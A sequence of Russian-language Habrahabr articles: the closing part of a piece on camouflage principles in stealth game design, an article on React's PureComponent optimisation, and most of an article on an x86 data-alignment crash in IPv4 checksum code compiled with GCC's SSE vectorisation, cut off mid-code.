униформы. Поэтому желательно оставаться как можно более неподвижным. Это звучит довольно просто, но уверяю вас, это требует большего самоконтроля, чем кажется. При встрече с врагами всегда есть большое искушение спрятаться лучше. Однако любое движение может привлечь внимание врага. Фильм «Индиана Джонс и последний крестовый поход» (1989 год) Скрытность касается не только тела, но и его тени , которая может с лёгкостью выдать позицию солдата. Это особенно актуально, когда он стоит за деревом или углом улицы. Вопреки распространённому мнению, тени видны и в большинстве помещений, а также ночью. Источник света есть всегда . И, наконец, солдаты часто забывают, что часть оборудования, например, прицелы, металлические часы или бляхи, может обрасывать блики , отражая свет и привлекая внимание врага. Вспомните Индиану Джонса, которого обнаружили в «Последнем крестовом походе» по блеску бинокля. Создание стелс-геймплея: В видеоиграх движение часто связано с шумом, производимым бегущими персонажами. О нём я поговорю позже. Во многих играх есть бонусы скрытности или полная невидимость (мимикрия), когда игрок остаётся неподвижным. Можно привести множество примеров — от эльфов в RTS Warcraft III до камуфляжных устройств в Metal Gear Solid V: The Phantom Pain . Кстати, в этой игре благодаря " режиму стелса " есть дополнительные бонусы, когда игрок притворяется мёртвым. Они автоматически отключаются, когда персонаж снова начинает двигаться. Однако следует помнить, что игрок — это главная движущая сила при проникновении на вражеские позиции. Он может отложить контроллер, спокойно спланировать свои следующие действия, и даже устроить себе перерыв, если персонаж хорошо спрятан. Ощущения становятся совершенно другими, когда его выследили противники : они знают о его присутствии и активно ищут его. Игрок должен решить, оставаться скрытым или переместиться. Ощущения в играх жанра stealth survival, например, в Alien: Isolation очень глубоки, потому что персонаж игрока особенно слаб, а поведение Чужого непредсказуемо . Представьте теперь игру в виртуальной реальности, основанную на движениях игрока, в которой любой поворот головы может выдать его положение. Ощущения будут чрезвычайно похожими на реальную жизнь. Тени , как описано в принципах камуфляжа, редко используются для поощрения скрытности игрока. Точка зрения камеры обычно не даёт игроку видеть тень персонажа. Влияние на геймплей элемента, который игрок не может отследить, было бы невероятно раздражающим. Однако заметим, что во многих играх есть уровни в помещениях и ночные уровни, позволяющие использовать области света и тени . Области тени считаются безопасными зонами, где персонаж игрока может отдохнуть и спланировать дальнейшие действия. Враги, патрулирующие освещённые области, могут быть легко замечены игроком. Разрушение стелса для улучшения обратной связи: Как сказано ранее, наше внимание инстинктивно привлекает любое движение. Эта обратная связь может использоваться для указания важных точек : птицы, взлетающие вдалеке, трясущиеся кусты, мерцающий свет, даже анимированные монетки из Super Mario Bros сразу привлекают внимание игрока. Аналогично игру света можно использовать для направления игрока по определённому маршруту . Например, в Left 4 Dead действие происходит только ночью или в помещениях. Такой выбор добавляет атмосферы, а также позволяет разработчикам ориентировать игрока на карте. Вот пример из эпизода No Mercy : Left 4 Dead (откройте ссылку в другой вкладке, чтобы увеличить картинку) В Tom Clancy's The Division тоже используются тени и блики с геймплейной точки зрения. Например, свет фар в туннеле Линкольна сильно помогает игроку предвидеть появление врагов благодаря теням, отбрасываемым на стены. Кроме того, снайперские ружья в игре обычно наносят очень большой урон. Однако когда персонаж начинает целиться, на прицеле ружья возникает заметный блик , выдающий позицию снайпера и предупреждающий игрока об опасности. Следы, звуки и запахи Принцип: Под следами понимаются любые элементы, выдающие проходивших по местности: отпечатки ног, гильзы, обломки, кострища, сломанные ветки, открытые двери и т.д. Этот принцип добавляет камуфляжу временнóе измерение, которым никогда не стоит пренебрегать: проникновение на вражеские позиции или побег от преследователей — это долговременные цели, они могут длиться часами или днями. С течением времени персонажи могут оставлять множество следов. Камуфляж основан не только на визуальном обнаружении, он также полагается на слух и обоняние . Солдаты всегда должны следить за объектами, способными выдать их шумом: за обломками и мусором в городе и за ветками в лесах. Кроме того, их позиции с лёгкостью может выдать еда, порох или пот. Опасайтесь собак: исследование ЦРУ показывает, что они могут слышать на расстоянии в 4 раза большем, чем человек, и у них в 25 раз больше обонятельных рецепторов, чем у нас. Hitman: Blood Money Создание стелс-геймплея: Следы добавляют камуфляжу временнóе измерение. В большинстве стелс-игр противники реагируют, когда находят трупы, лужи крови или отпечатки на снегу . Это обращает внимание игрока на дизайн уровней и стимулирует его думать, прежде чем действовать. Убийство цели и исчезновение в безопасной зоне — это одно, а медленное перетаскивание трупа в укрытие, когда патрули могут обнаружить игрока — совершенно другое. Hitman и тут стал отличным примером, иллюстрирующим оригинальные способы реализации этого аспекта игры. Hitman: Blood Money провоцирует игрока оставаться незамеченным с помощью системе узнаваемости . В конце каждой миссии показывается газета, содержание которой подводит итог действиям игрока. Чем более открыто он действует, тем точнее его описание, и тем сложнее становится игра в следующих миссиях. Противникам всё проще опознать агента 47, как бы он ни замаскировался. Слух в стелс-играх логично интерпретируется как простой радиус звука, который можно услышать на 360 градусов. В зависимости от сложности игры у врагов может быть один из нескольких радиусов, определяющих различную интенсивность звука . Это мотивирует игрока двигаться медленнее, предпочитать холодное оружие или оружие с глушителями и избегать шумных поверхностей, что непосредственно влияет на его маршрут. Но слух также легко использовать для отвлечения противников . Бросок куная в Mark of The Ninja , камня в Far Cry 4 , бутылки в Rise of the Tomb Raider или пустой обоймы в Metal Gear Solid V: The Phantom Pain — это простой способ направить врага в нужное место, чтобы легче убить его или освободить проход. Mark of The Ninja Как сказано ранее, у животных чувства острее, чем у людей. Реализация этого в геймплее всегда довольно сложна: животные всегда должны быть более серьёзными противниками, чем люди, но слишком реалистичная настройка увеличивает сложность игры. Поэтому в некоторых играх, например в Cabela’s Big Game Hunter учитываются сила и направление ветра . Радиус обнаружения становится динамически меняющимся конусом, который стимулирует игрока или дожидаться смены ветра, или искать лучший путь для приближения к жертве. Эта система на самом деле становится хорошей альтернативой, но она тоже довольно сложна и требует важной обратной связи в реальном времени. Насколько я знаю, Tenchu Z — это единственная игра, где люди могут учуять персонажа игрока и это является важной чертой геймплея. Чем более жестокие убийства совершает игрок, тем сильнее он пахнет кровью и тем проще врагам его найти. Этот аспект особенно интересен, потому что он сочетает в себе малоиспользуемое чувство и временнóе изменение следов. Разрушение стелса для улучшения обратной связи: Из всех трёх аспектов самую эффективную обратную связь обеспечивает слух, основанный на звуковых эффектах и музыке (или напротив, на отсутствии звука и музыки). Игрок может предугадывать врагов или события, даже не видя их . Например, это используется в поведении всех особых заражённых в Left 4 Dead . Информация , которую они дают нам, так же важна, как и их позиция: NPC могут выдавать информацию о дизайне уровня, своих слабостях или тактических ходах, которые они собираются предпринять («Перезаряжаюсь!», «Прикрой меня, зайду с фланга!»). Приведу примеры того, как в геймплее реализуются следы. В The Witcher 3: Wild Hunt Геральт способен использовать своё зрение мутанта для подсвечивания следов всех видов существ. Дизайнеры играют на этом в дизайне уровней, чтобы провести его через сложные участки. Следы можно также использовать как простую обратную связь: кровавые полосы, трупы, обгоревшие пятна на полу и т.д. Все они могут очень эффективно предупредить игрока о надвигающейся опасности , в то же время усиливая атмосферу добавлением коротких историй. Dead Space The Elder Scrolls V: Skyrim В этом году Ubisoft представила Nosulus Rift – пародийную версию VR-шлема , позволяющую игроку почувствовать запахи пукающих персонажей South Park: The Fractured But Whole . Разумеется, это было шуткой. Но задумайтесь о геймплее, основанном на запахах , который можно создать в стелс-играх: обнаружение врагов по запаху костра, сигарет, транспорта. Или наоборот — сокрытие запаха персонажа игрока, когда за ним идёт охота. Заключение Подводя итог, скажу, что техники камуфляжа работают с различными принципами, связанными со многими человеческими чувствами , а не только зрением. Они начали развиваться как военная дисциплина с конца 19-го века, однако животные с давних времён использовали их для защиты или нападения. Техники камуфляжа используются в видеоиграх для подчёркивания стелс-геймплея . Однако некоторые принципы, например, обоняние, всё ещё трудно передать как геймплейный механизм. Кроме того, дизайнеры могут добровольно игнорировать принципы камуфляжа, чтобы обеспечить игроку дополнительную обратную связь в игре любого жанра. Я рекомендую посмотреть видео Клемента Мелендеса (Clément Melendez), чтобы понять, как эта обратная связь эффективно используется в F.E.A.R. 2. Учёные близки к прорыву в техниках камуфляжа — созданию устройств мимикрии . Но, как я сказал ранее, этот механизм уже долгое время существует в видеоиграх и всегда должен компенсироваться балансом. Кроме того, я уверен, что VR-оборудование может дать стелс-геймплею новые возможности и обеспечить более глубокий игровой опыт. Что вы думаете об этом? Какие другие примеры оригинального геймплея можеет вспомнить? Пища для размышлений: Эволюция расцветки униформы в армии США. Список 25 лучших стелс-игр для ПК по мнению Rock Paper Shotgun. Необходимые рекомендации для успеха в PVP Тёмной Зоны The Division.
https://habrahabr.ru/post/318394/
habrahabr
Разбор: как и зачем применять PureComponent в React
['Javascript', 'react.js', 'оптимизация', 'redmadrobot']
29 Июля вышел React 15.3, и первым пунктом в release-notes значилось добавление поддержки React.PureComponent, который заменяет своего предшественника pure-render-mixin. В этой статье обсудим,...
29 Июля вышел React 15.3, и первым пунктом в release-notes значилось добавление поддержки React.PureComponent, который заменяет своего предшественника pure-render-mixin. В этой статье обсудим, почему же этот компонент так важен и где его использовать. Это один из самых значительных способов оптимизации react-приложений, который можно довольно легко и быстро реализовать. Использование pure-render-mixin дает ощутимый прирост в производительности, так как сокращается количество рендеров в приложении, а значит и react, в свою очередь, производит намного меньше операций. PureComponent изменяет lifecycle-метод shouldComponentUpdate, автоматически проверяя, нужно ли заново отрисовывать компонент. При этом PureComponent будет вызывать рендер только если обнаружит изменения в state или props компонента, а значит во многих компонентах можно менять state без необходимости постоянно писать if (this.state.someVal !== computedVal) { this.setState({someVal: computedVal}) } В исходниках React при условии, что компонент является «Pure», и проводится такая проверка: if (this._compositeType === CompositeTypes.PureClass) { shouldUpdate = !shallowEqual(prevProps, nextProps) || ! shallowEqual(inst.state, nextState); } Использование shallowEqual говорит о том, что происходит неглубокая проверка params и state, так что сравнение не будет происходить по глубоко вложенным объектам, массивам. Глубокое сравнение — очень затратная операция. Если бы PureComponent каждый раз ее вызывал, то он бы приносил больше вреда, чем пользы. Никто не мешает использовать проверенный shouldComponentUpdate, чтобы вручную определить необходимость нового рендера. Самый простой вариант — прямое сравнение параметров. shouldComponentUpdate(nextProps, nextState) { return nextProps.user.id === props.user.id; } Также можно использовать immutable данные. Сравнение в таком случае становится очень простым, так как имеющиеся переменные не изменяются, а всегда создаются новые. Библиотеки вроде Immutable.js — наш верный союзник. Особенности применения PureComponent экономит нам время и позволяет не писать лишний код, но не является панацеей. Важно знать особенности его применения, иначе полезность теряется. Так как PureComponent предполагает неглубокую проверку, изменения его props и state могут остаться проигнорированными. К примеру, в родительском компоненте есть рендер и обработчик клика: handleClick() { const items = this.state.items; items.push('new-item'); this.setState({items: items}); } render() { return ( <div> <button onClick={this.handleClick} /> <ItemList items={this.state.items} /> </div> ); } Если компонент ItemList сделать PureComponent, то при изменении items после нажатия кнопки ничего не будет происходить. Это случается из-за того, что this.state.items при сравнении будет равен старой версии this.state.items, хотя содержимое его поменялось. Однако это легко исправить, убрав мутации, например вот так: handleClick() { this.setState(prevState => ({ words: prevState.items.concat(['new-item']) })); } PureComponent будет всегда заново отрисовывать компоненты, если будет получать ссылки на разные объекты. Это значит, что если мы не хотим терять преимущества PureComponent, следует избегать подобных конструкций: <Entity values={this.props.values || []}/> Новый массив, хоть он и пустой, будет всегда заставлять компонент отрисовываться заново. Избежать такого очень просто, к примеру, с помощью DefaultProps, в котором можно задать изначально пустое состояние передаваемой переменной. Также очень часто можно увидеть такие компоненты: this.props.update(e.target.value)} />; При их создании всегда будет создаваться новая функция, а значит и PureComponent будет видеть каждый раз новые данные. Это лечится, например, bind'ом нужной функции в конструкторе компонента. constructor(props) { super(props); this.update = this.update.bind(this); } update(e) { this.props.update(e.target.value); } render() { return <MyInput onChange={this.update} />; } Также любой компонент, который содержит дочерние элементы, созданные в JSX, будет всегда выдавать false на shallowequal проверках. Важно помнить, что PureComonent пропускает отрисовку не только самого компонента, но и всех его “детей”, так что безопаснее всего применять его в presentational-компонентах, без “детей” и без зависимости от глобального состояния приложения. Что в итоге На самом деле переход на PureComponent является довольно простым, если знать ряд особенностей, связанных скорее с самим JS, нежели с React. Во многих компонентах я заменял: class MyComponent extends Component {…} на: class MyComponent extends PureComponent {…} … и они продолжали спокойно работать, да еще с увеличенной производительностью. Так что пробуйте и используйте, компонент очень полезный. EDIT Спасибо raveclassic за полезное замечание. В случае, если pure-компонент имеет детей, все дочерние компоненты, зависящие от смены контекста, не будут реагировать на изменения, если в родительском pure-компоненте не будет объявлен contextTypes.
https://habrahabr.ru/company/redmadrobot/blog/318222/
habrahabr
История одного бага: выравнивание данных на x86
['выравнивание', 'x86', 'заголовки IPv4', 'контрольная сумма', 'обратный код', 'GCC', 'слишком умный компилятор', 'SSE']
Однажды мне пришлось вычислять сумму векторов целых чисел. Звучит необычно. Кому понадобится делать это в реальной жизни? Обычно такие вычисления встречаются только в задачках из начальной школы...
Однажды мне пришлось вычислять сумму векторов целых чисел. Звучит необычно. Кому понадобится делать это в реальной жизни? Обычно такие вычисления встречаются только в задачках из начальной школы или бенчмарках компилятора. Но сейчас это случилось на самом деле. В реальности стояла задача проверить контрольную сумму заголовков IPv4 , которая является суммой обратных кодов (дополнений до единицы) двухбайтных машинных слов. Проще говоря, это означает сложение всех слов и всех битов переноса, которые производятся в процессе. У этой процедуры есть несколько приятных особенностей: её можно эффективно выполнить с помощью процессорной инструкции ADC (к сожалению, эта функция недоступна в C); её можно выполнить на словах любого размера (можете добавить по желанию восьмибайтные значения, только результат следует уменьшить до двух байт и добавить все биты переполнения); она нечувствительна к порядку следования байтов (удивительно, но это так). Было одно важное требование: исходные данные не были выравнены (IP фреймы такие, какими поступали с оборудования или читались из файла). Мне не нужно было заботиться о программной переносимости, потому что код должен был работать только на единственной платформе: Intel x64 (Linux и GCC 4.8.3). У Intel нет ограничений на выравнивание целочисленных операндов (доступ к невыровненным данным раньше был медленным, но уже нет), и, поскольку порядок следования байтов неважен, то и порядок байтов от младшего к старшему сойдёт. Так что я по-быстрому написал: _Bool check_ip_header_sum (const char * p, size_t size) { const uint32_t * q = (const uint32_t *) p; uint64_t sum = 0; sum += q[0]; sum += q[1]; sum += q[2]; sum += q[3]; sum += q[4]; for (size_t i = 5; i < size / 4; i++) { sum += q[i]; } do { sum = (sum & 0xFFFF) + (sum >> 16); } while (sum & ~0xFFFFL); return sum == 0xFFFF; } Исходный код и выдачу ассемблера можно найти в репозитории . Наиболее обычный размер IP-заголовка составляет 20 байт (5 двойных слов, которые я буду называть просто словами ) — вот почему код выглядит таким образом. Кроме того, размер никогда не может быть меньше — это проверяется перед вызовом данной функции. Поскольку IP-заголовок не может быть больше 15 слов, число итераций цикла составляет от 0 до 10. Этот код действительно не является программно переносимым — известно, что доступ к произвольной памяти с помощью указателей на 32-битные значения не работает на некоторых процессорах. Например, на большинстве процессоров RISC, если не на всех. Но, как я сказал ранее, никогда не предполагалось, что это создаст проблемы на x86. И конечно (иначе здесь не было бы о чём рассказывать) реальность доказала обратное, и этот код выпал с ошибкой SIGSEGV. Упрощение Сбой происходил только когда выполнялся цикл, то есть заголовки были длиннее 20 байт. В реальной жизни это происходит очень редко, но мне повезло, потому что в моём тестовом наборе данных были такие заголовки. Давайте упростим наш код только до этого цикла. Напишем его на чистом C и разделим на два файла, дабы избежать встроенных функций. Вот наш sum.c . #include <stdlib.h> #include <stdint.h> uint64_t sum (const uint32_t * p, size_t nwords) { uint64_t res = 0; size_t i; for (i = 0; i < nwords; i++) res += p [i]; return res; } А вот main.c . #include <stdint.h> #include <stdio.h> extern uint64_t sum (const uint32_t * p, size_t nwords); char x [100]; int main (void) { size_t i; for (i = 0; i < sizeof (x); i++) x [i] = (char) i; for (i = 0; i < 16; i++) { printf ("Trying %d sum\n", (int) i); printf ("Done: %d\n", (int) sum ((const uint32_t*) (x + i), 16)); } return 0; } Теперь SIGSEGV появлялась на функции sum , когда i равнялось 1. Расследование Код функции sum на удивление большой, так что я покажу только основной цикл. .L13: movdqa (%r8), %xmm2 addq $1, %rdx addq $16, %r8 cmpq %rdx, %r9 pmovzxdq %xmm2, %xmm1 psrldq $8, %xmm2 paddq %xmm0, %xmm1 pmovzxdq %xmm2, %xmm0 paddq %xmm1, %xmm0 ja .L13 Компилятор умён. Слишком умён, как по мне. Он применил набор инструкций SSE (ему было разрешено делать это, потому что я использовал его повсюду и указал -msse4.2 в командной строке. Этот код одновременно читает четыре значения ( movdqa ), затем конвертирует их в 64-битный формат в два регистра (две инструкции pmovzxdq и psrldq ) и добавляет текущую сумму ( %xmm0 ). После итерации цикла он складывает вместе накопленные значения. Это выглядит как приемлемая оптимизация для случая, когда мы имеем дело с большим количеством слов, но здесь не тот случай. У компилятора не было возможности установить типичное количество итераций цикла, поэтому он оптимизировал код по максимуму, правильно рассудив, что для случая с малым количеством слов и потери от чрезмерной оптимизации тоже будут небольшими. Мы позже проверим, какие тут потери и насколько они большие. Что вообще в этом коде могло вызвать ошибку? Мы быстро поняли, что это та инструкция movdqa . Как большинство инструкций SSE с доступом к памяти, она требует 16-байтное выравнивание адреса исходного аргумента. Но мы не можем ожидать такого выравнивания от указателя uint32_t , и как тогда вообще использовать эту инструкцию? Компилятор на самом деле заботится о выравнивании. Перед запуском цикла он вычисляет, сколько слов может быть обработано перед началом цикла. testq %rsi, %rsi ; %rsi is n je .L14 movq %rdi, %rax ; %rdi is p movq %rsi, %rdx andl $15, %eax shrq $2, %rax negq %rax andl $3, %eax Или, в более привычном виде: if (nwords == 0) return 0; unsigned start_nwords = (- (((unsigned)p & 0x0F) >> 2)) & 3; Он возвращает 0, если p заканчивается на 0, 1, 2 или 3 в Hex, возвращает 3, если она заканчивается на 4−7, возвращает 2 для диапазона 8−B и 1 для C−F. После обработки этих первых слов мы можем запускать цикл (при условии, что количество оставшихся слов минимум 4, и заботясь об остатках). Короче говоря, этот код выравнивает указатель по 16 байт, но при условии, что он уже выровнен по 4 . Внезапно наш x86 ведёт себя словно RISC: он вылетает с ошибкой, если указатель на uint32_t не выровнен по 4 байта. Простые решения не подходят Никакая простая манипуляция с этой функцией не решает проблему. Мы могли бы, к примеру, объявить параметр p как char* в наивной попытке «объяснить компилятору произвольную природу указателя»: uint64_t sum0 (const char * p, size_t nwords) { const uint32_t * q = (const uint32_t *) p; uint64_t res = 0; size_t i; for (i = 0; i < nwords; i++) res += q [i]; return res; } Или мы можем заменить индексацию арифметикой указателя. uint64_t sum01 (const uint32_t * p, size_t n) { uint64_t res = 0; size_t i; for (i = 0; i < n; i++) res += *p++; return res; } Или применить оба способа. uint64_t sum02 (const char * p, size_t n) { uint64_t res = 0; size_t i; for (i = 0; i < n; i++, p += sizeof (uint32_t)) res += *(const uint32_t *) p; return res; } Ни одна из этих модификаций не помогает. Компилятор достаточно умён, чтобы игнорировать весь синтаксический сахар и редуцировать код до основы. Все эти версии вылетают с ошибкой SIGSEGV. Что говорят стандарты Это похоже на довольно грязный трюк компилятора. Выполняемая им трансформация программы противоречит обычным ожиданиям программиста для x86. Действительно ли компилятору позволено делать такое? Чтобы ответить на этот вопрос, придётся глянуть в стандарт. Я не собираюсь глубоко копать различные стандарты C и C++ . Посмотрим только один из них, а именно C99 , а конкретнее — последнюю публично доступную версию стандарта C99 (2007) . В нём представлена концепция выравнивания: 3.2 выравнивание требование для объектов определённого типа располагаться на границах элементов памяти с адресами, кратными адресу байта Эта концепция используется при определении преобразования указателя. 6.3.2.3 Указатель на объект или неполный тип может быть преобразован в указатель на другой объект или неполный тип. Если результирующий указатель неправильно выровнен для указываемого типа, то поведение не определено. В ином случае, при обратном преобразовании результат должен быть равным оригинальному указателю. Когда указатель на объект преобразуется в указатель на символьный тип данных, то результат указывает на младший адресованный байт объекта. Успешное приращение результата, вплоть до размера объекта, даёт указатели на оставшиеся байты объекта. А также она используется в разыменования указателя. 6.5.3.2 Адрес и операция разыменования Если указателю было присвоено недопустимое значение, поведение унарного оператора * не определено. 87 ) 87 ) Среди недопустимых значений для разыменования оператора унарным оператором *: пустой указатель; ненадлежащим образом выровненный адрес для типа указываемого объекта; адрес объекта по окончании его использования. Если я правильно понимаю эти пункты, преобразование указателей (кроме преобразования чего-либо в char * ) вообще опасное дело. Программа может вывалиться прямо здесь, во время преобразования. Как вариант, конвертация может пройти успешно, но произвести недопустимое значение, которое вызовет сбой программы (или чушь на выходе) во время разыменования. В нашем случае может случиться и то, и другое, если требование выравнивания для uint32_t , исполняемое этим компилятором, отличается от единицы (выравнивание для char* ). Поскольку наиболее естественным выравниванием для uint32_t является 4, то компилятор был совершенно прав. Версия sum0 , хотя не решает проблему, всё равно лучше первоначальной sum , ведь та требовала, чтобы указатель был уже типа uint32_t* , что требовало преобразования указателя в коде вызова. Это преобразование может вызвать сбой немедленно или произвести недопустимое значение указателя. Давайте отдадим выравнивание под ответственность функции суммы и поэтому заменим sum на sum0 . Эти пункты стандарта объясняют, почему провалились наши попытки решить проблему, играясь с типами указателей и способами их вычисления. Неважно, что мы делаем с указателем, в итоге он преобразуется в uint32_t* , что немедленно сигнализирует компилятору, что указатель выровнен по границе четырёх байтов. Есть только два подходящих решения. Отключить SSE Первое это не столько решение — скорее, уловка. Проблемы с выравниванием на x86 появляются только при использовании SSE, так давайте его отключим. Мы можем сделать это для всего файла, в котором декларируется sum , а если это неудобно, только для этой конкретной функции. __attribute__ ((target("no-sse"))) uint64_t sum1 (const char * p, size_t nwords) { const uint32_t * q = (const uint32_t *) p; uint64_t res = 0; size_t i; for (i = 0; i < nwords; i++) res += q [i]; return res; } Такой код ещё хуже переносим, чем первоначальный, поскольку в нём используются атрибуты, специфические для GCC и специфические для Intel. Его можно очистить соответствующей условной компиляцией. #if defined (__GNUC__) && (defined (__x86_64__) || defined (__i386__)) __attribute__ ((target ("no-sse"))) #endif Однако от такого способа на самом деле мало толку, поскольку он всего лишь даёт программе компилироваться на других компьютерах и других архитектурах, но она не обязательно будет там работать. Программа по прежнему может сбоить, если там процессор RISC или если в компиляторе используется другой синтаксис для отключения SSE. Даже если мы остаёмся в рамках GCC и Intel, кто может дать гарантию, что через десять лет не появится ещё одна архитектура, отличная от SSE? В конце концов, мой первоначальный код мог быть написан 20 лет назад, когда SSE не существовало (первый MMX появился в 1997 году). Тем не менее, такая программа компилируется в очень аккуратный код: sum0: testq %rsi, %rsi je .L34 leaq (%rdi,%rsi,4), %rcx xorl %eax, %eax .L33: movl (%rdi), %edx addq $4, %rdi addq %rdx, %rax cmpq %rcx, %rdi jne .L33 ret .L34: xorl %eax, %eax ret Это именно тот код, о котором я думал, когда писал функцию. Думаю, этот код будет работать быстрее, чем код на основе SSE для маленьких размеров вектора, что является нашим случаем с заголовками IP. Позже проведём измерения. Использование memcpy Другой вариант — использование функции memcpy . Эта функция может копировать байты, представляющие число, в переменную соответствующего типа, независимо от выравнивания. И она делает это в полном соответствии со стандартом. Может показаться, что это неэффективно, и 20 лет назад так оно и было. В наше время, однако, совсем необязательно реализовать функцию как вызов процедуры; компилятор может расценить её как собственную функцию языка и заменить на перенос из памяти в регистр (memory-to-register). GCC определённо так делает. Он компилирует следующий код: uint64_t sum2 (const char * p, size_t nwords) { uint64_t res = 0; size_t i; uint32_t temp; for (i = 0; i < nwords; i++) { memcpy (&temp, p + i * sizeof (uint32_t), sizeof (temp)); res += temp; } return res; } в код, похожий на оригинальный SSE, но только использует movdqu вместо movdqa . Эта инструкция допускает невыровненные данные; но действует с разной производительностью. На некоторых процессорах она гораздо медленнее movdqa , даже если данные на самом деле выровнены. На других работает практически с такой же скоростью. Другое отличие в сгенерированном коде то, что он даже не пытается выравнивать указатель. Он использует movdqu на оригинальном указателе даже если мог бы выровнять его и затем использовать movdqa . Это означает, что такой код, будучи более универсальным, в итоге может оказаться медленнее оригинального кода на некоторых входных данных. Такое решение полностью переносимо, его можно использовать где угодно, даже на архитектурах RISC. Комбинированное решение Первое решение кажется более быстрым на наших данных (хотя мы ещё не измеряли его), в то время как второе более портативно. Мы можем скомбинировать их вместе: #if defined (__GNUC__) && (defined (__x86_64__) || defined (__i386__)) __attribute__ ((target ("no-sse"))) #endif uint64_t sum3 (const char * p, size_t nwords) { uint64_t res = 0; size_t i; uint32_t temp; for (i = 0; i < nwords; i++) { memcpy (&temp, p + i * sizeof (uint32_t), sizeof (temp)); res += temp; } return res; } Этот код скомпилируется в хороший не-SSE цикл на GCC/Intel, но будет по-прежнему выдавать рабочий (и достаточно хороший) код на других архитектурах. Это та версия, которую я собираюсь использовать в моём проекте. Производимый код для x86 идентичен тому, который получался из sum1 . Измерение скорости Мы видели, что компилятор имеет полное право сгенерировать код с movdqa . Насколько хорошо такое решение с точки зрения производительности? Измерим производительность всех наших решений. Сначала сделаем это на полностью выровненных данных (указатель выравнен по границе 16). Значения в таблице приведены в наносекундах на добавляемое слово. Размер, слов sum0 (movdga) sum1 (loop) sum2 (movdqu) sum3 (loop, memcpy) 1 2,91 1,95 2,90 1,94 5 0,84 0,79 0,77 0,79 16 0,46 0,45 0,41 0,46 1024 0,24 0,46 0,26 0,48 65536 0,24 0,45 0,24 0,45 Эта таблица подтверждает, что на очень маленьком количестве слов (1) обычные циклы работают быстрее, чем версии на базе SSE, хотя разница не такая большая (1 наносекунда на слово, а ведь здесь только одно слово). SSE намного быстрее на большом количестве слов (1024 и больше), и здесь общий итог в выигрыше может быть весьма значительным. На входных данных среднего размера (вроде 16) скорости практически одинаковые, с небольшим преимуществом SSE ( movdqu ). Запустим тест на всех значениях между 1 и 16 и проверим, где находится точка равновесия. Версии sum1 (не-SSE цикл) и sum3 показывают очень похожий результат (что ожидаемо, поскольку код одинаковый; разница в результатах показывает погрешность измерений в районе 0,02 нс). Вот почему на графике представлена только окончательная версия ( sum3 ). Мы видим, что простые циклы выигрывают у версий SSE при количестве слов до 3, после чего версии SSE начинают брать верх (версия movdqu , как правило, быстрее оригинальной movdqf ). Думаю, что в отсутствие какой-либо дополнительной информации компилятор прав в предположении, что произвольный цикл будет исполняться более трёх раз, так что решение использовать SSE было полностью правильным. Но почему он сразу не перешёл к опции movdqu ? Есть ли вообще какая-то причина использовать movdqa ? Мы видели, что когда данные выровнены, версия movdqu работает на той же скорости, что и movdqa , на большом количестве слов, и работает быстрее на малом количестве слов. Последнее можно объяснить меньшим количеством инструкций, которые предваряют цикл (нет необходимости в проверке на выравнивание). Что произойдёт, если мы запустим тест на невыровненных данных? Вот результаты для некоторых вариантов: Размер, слов Смещение 0 Смещение 1 Смещение 4 movdqa movdqu loop movdqu loop movdqa movdqu loop 1 2,91 2,90 1,94 2,93 1,94 2,90 2,90 1,94 5 0,84 0,77 0,79 0,77 0,79 0,84 0,79 0,78 16 0,46 0,41 0,46 0,42 0,46 0,52 0,40 0,46 1024 0,24 0,26 0,48 0,26 0,51 0,25 0,25 0,47 65536 0,24 0,24 0,45 0,25 0,50 0,24 0,24 0,46 Как видим, выравнивание даёт только незначительные изменения в скорости, за исключением одного: версия movdqa начинает немного замедляться (0,52 нс вместо 0,46 нс) при смещении на 4 с количеством 16 слов. Прямой цикл по-прежнему остаётся лучшим решением на малом количестве слов; movdqu — лучшее решение на большом количестве. Компилятор был не прав, используя movdqa . Возможное объяснение в том, что он оптимизирован для старой модели процессора Intel. Инструкция movdqu работала немного медленнее movdqa на процессорах Xeon, даже на полностью выровненных данных. Похоже, теперь это больше не наблюдается, так что компилятор можно упростить (и смягчить требования к выравниванию). Оригинальная функция Оригинальную функцию для проверки заголовков IP теперь следует переписать следующим образом: #if defined (__GNUC__) && (defined (__x86_64__) || defined (__i386__)) __attribute__ ((target ("no-sse"))) #endif _Bool check_ip_header_sum (const char * p, size_t size) { const uint32_t * q = (const uint32_t *) p; uint32_t temp; uint64_t sum = 0; memcpy (&temp, &q [0], 4); sum += temp; memcpy (&temp, &q [1], 4); sum += temp; memcpy (&temp, &q [2], 4); sum += temp; memcpy (&temp, &q [3], 4); sum += temp; memcpy (&temp, &q [4], 4); sum += temp; for (size_t i = 5; i < size / 4; i++) { memcpy (&temp, &q [i], 4); sum += temp; } do { sum = (sum & 0xFFFF) + (sum >> 16); } while (sum & ~0xFFFFL); return sum == 0xFFFF; } Если мы боимся преобразования невыровненного указателя в uint32_t* (стандарт говорит о неопределённом поведении), то код будет выглядеть следующим образом: #if defined (__GNUC__) && (defined (__x86_64__) || defined (__i386__)) __attribute__ ((target ("no-sse"))) #endif _Bool check_ip_header_sum (const char * p, size_t size) { uint32_t temp; uint64_t sum = 0; memcpy (&temp, p, 4); sum += temp; memcpy (&temp, p + 4, 4); sum += temp; memcpy (&temp, p + 8, 4); sum += temp; memcpy (&temp, p + 12, 4); sum += temp; memcpy (&temp, p + 16, 4); sum += temp; for (size_t i = 20; i < size; i+= 4) { memcpy (&temp, p + i, 4); sum += temp; } do { sum = (sum & 0xFFFF) + (sum >> 16); } while (sum & ~0xFFFFL); return sum == 0xFFFF; } Обе версии выглядят довольно уродливо, особенно вторая. Обе напоминают мне о программировании на чистом ассемблере. Однако именно это правильный способ написания переносимого кода на C. Интересно, что хотя в наших тестах цикл работал на той же скорости, что и movdqu , на количестве слов 5, но после записи этой функции в один цикл с 0 до size она стала работать медленнее (обычный результат 0,48 нс и 0,83 нс на слово). Версия C++ C++ позволяет написать ту же функцию в гораздо более читабельном виде, применив некоторые шаблоны. Введём параметризованный тип const_unaligned_pointer : template<typename T> class const_unaligned_pointer { const char * p; public: const_unaligned_pointer () : p (0) {} const_unaligned_pointer (const void * p) : p ((const char*)p) {} T operator* () const { T tmp; memcpy (&tmp, p, sizeof (T)); return tmp; } const_unaligned_pointer operator+ (ptrdiff_t d) const { return const_unaligned_pointer (p + d * sizeof (T)); } T operator[] (ptrdiff_t d) const { return * (*this + d); } }; Здесь всего каркас. Настоящее определение должно содержать проверку на равенство, оператор «минус» для двух указателей, оператор «плюс» в другом направлении, некоторые преобразования и, вероятно, другие вещи. С помощью параметризованного типа наша функция выглядит очень близко к тому, с чего мы начинали: bool check_ip_header_sum (const char * p, size_t size) { const_unaligned_pointer<uint32_t> q (p); uint64_t sum = 0; sum += q[0]; sum 